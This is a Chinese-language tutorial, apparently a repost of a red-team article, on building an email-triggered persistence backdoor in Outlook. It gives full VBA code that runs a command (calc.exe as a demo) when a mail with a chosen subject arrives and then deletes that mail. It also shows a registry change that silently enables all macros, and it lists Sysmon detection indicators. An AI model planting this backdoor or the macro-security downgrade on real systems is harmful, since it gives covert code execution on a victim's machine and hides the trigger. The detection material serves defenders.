您好,登錄后才能下訂單哦!
本篇內容主要講解“怎么利用Outlook來創建基于電子郵件的持久化后門”,感興趣的朋友不妨來看看。本文介紹的方法操作簡單快捷,實用性強。下面就讓小編來帶大家學習“怎么利用Outlook來創建基于電子郵件的持久化后門”吧!
跟大多數的Microsoft Office產品一樣,Outlook也可以啟用開發者選項,并通過VB編輯器來創建基于VBA的宏。打開編輯器,然后創建一個簡單的宏文件,你將會看到一個名為“ThisOutlookSession”的Outlook模塊:
保存這個宏之后,一個VbaProject.OTM文件將會在“%APPDATA%\Roaming\Microsoft\Outlook ”目錄中被創建:
在默認配置下是無法執行這個宏的,因為默認配置為“除了已簽名的宏之外,其他所有的宏都被禁用”。
但是,我們可以通過使用以下值創建Security注冊表項來修改此配置:
Level值定義的是宏安全配置,包含下列值:
4 = Disable all macros without notification 3 = Notifications for digitally signed macros, all other macros disabled 2 = Notifications for all macros 1 = Enable all Macros
如果想允許宏以隱蔽方式運行而不通知用戶的話,我們需要設置“Level”值以在操作期間啟用所有宏。
通過檢查VbaProject.OTM文件,我們發現它是標準的Microsoft復合文檔文件(CDF):
dmc@deathstar ~ ? file ~/VbaProject.OTM VbaProject.OTM: Composite Document File V2 Document, Cannot read section info
對oledump.py進行深入分析后,我們發現了包含宏代碼的OLE數據流:
dmc@deathstar ~ ? python oledump.py ~/VbaProject.OTM 1: 43 'OutlookProjectData' 2: 388 'OutlookVbaData/PROJECT' 3: 59 'OutlookVbaData/PROJECTwm' 4: M 6156 'OutlookVbaData/VBA/ThisOutlookSession' 5: 2663 'OutlookVbaData/VBA/_VBA_PROJECT' 6: 497 'OutlookVbaData/VBA/dir'
現在,我們已經知道VbaProject.OTM是一個啟用了標準OLE宏的文檔,因此創建、混淆、清除和重載這些文件的傳統工具和技術仍然適用。接下來,我們看看如何將其轉換成一種持久化武器。
為了讓這種VBA代碼執行技術轉換成對我們有用的東西,我們需要將代碼作為事件的結果執行。ThisOutlookSession模塊允許我們訂閱Outlook中的各種事件,這就是我們實現代碼執行的一個可用元素了。
針對持久化來說,目標事件的潛在選項包括用戶驅動的某些事件,比如說Outlook打開或用戶自行操作的某些事件,例如指定的郵件送達等等。對于我們的場景,我們將主要研究如何利用帶有特定主題的郵件來執行任意的VBA。
為了確認新郵件的接收時間,我們可以在Outlook啟動時首先訂閱默認收件箱的相關事件。首先,在注冊事件的同時在默認收件箱文件夾(olInboxItems)中設置變量:
Option Explicit Private WithEvents olInboxItems As Items Private Sub Application_Startup() Set olInboxItems = Session.GetDefaultFolder(olFolderInbox).Items End Sub
為了使用指向用戶收件箱的引用,我們可以使用“ItemAdd”回調來接收新消息抵達事件:
Private Sub olInboxItems_ItemAdd(ByVal Item As Object) End Sub
具體說來,我們只對接收的電子郵件感興趣,因此我們需要對回調進行優化,只允許新郵件來觸發我們的事件。這里可以通過驗證郵件類型是否為“MailItem”來實現:
Private Sub olInboxItems_ItemAdd(ByVal Item As Object) If TypeOf Item Is MailItem Then MsgBox "You have mail" End If End Sub
當然了,我們并不需要每一封接收到的郵件都觸發我們的事件,所以我們需要對郵件地址、主題和正文內容等進行過濾:
Private Sub olInboxItems_ItemAdd(ByVal Item As Object) On Error Resume Next Dim olMailItem As MailItem If TypeOf Item Is MailItem Then If InStr(olMailItem.Subject, "MDSec") > 0 Then MsgBox "Hack The Planet" olMailItem.Delete End If End If Set Item = Nothing Set olMailItem = Nothing End Sub
綜上所屬,讓我們來彈個計算器(calc.exe)試試:
Option Explicit Private WithEvents olInboxItems As Items Private Sub Application_Startup() Set olInboxItems = Session.GetDefaultFolder(olFolderInbox).Items End Sub Private Sub olInboxItems_ItemAdd(ByVal Item As Object) On Error Resume Next Dim olMailItem As MailItem If TypeOf Item Is MailItem Then If InStr(olMailItem.Subject, "MDSec") > 0 Then MsgBox "Hack The Planet" Shell "calc.exe" olMailItem.Delete End If End If Set Item = Nothing Set olMailItem = Nothing End Sub
從目標設備的角度來看,我們可以通過下列兩個關鍵指標來檢測這種攻擊技術:
監控“%APPDATA%\Roaming\Microsoft\Outlook\VbaProject.OTM”文件的創建和修改事件(Sysmon 事件 ID 11);
監控“HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Security”注冊表鍵值的創建和修改事件(Sysmon 事件 ID 12);
到此,相信大家對“怎么利用Outlook來創建基于電子郵件的持久化后門”有了更深的了解,不妨來實際操作一番吧!這里是億速云網站,更多相關內容可以進入相關頻道進行查詢,關注我們,繼續學習!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。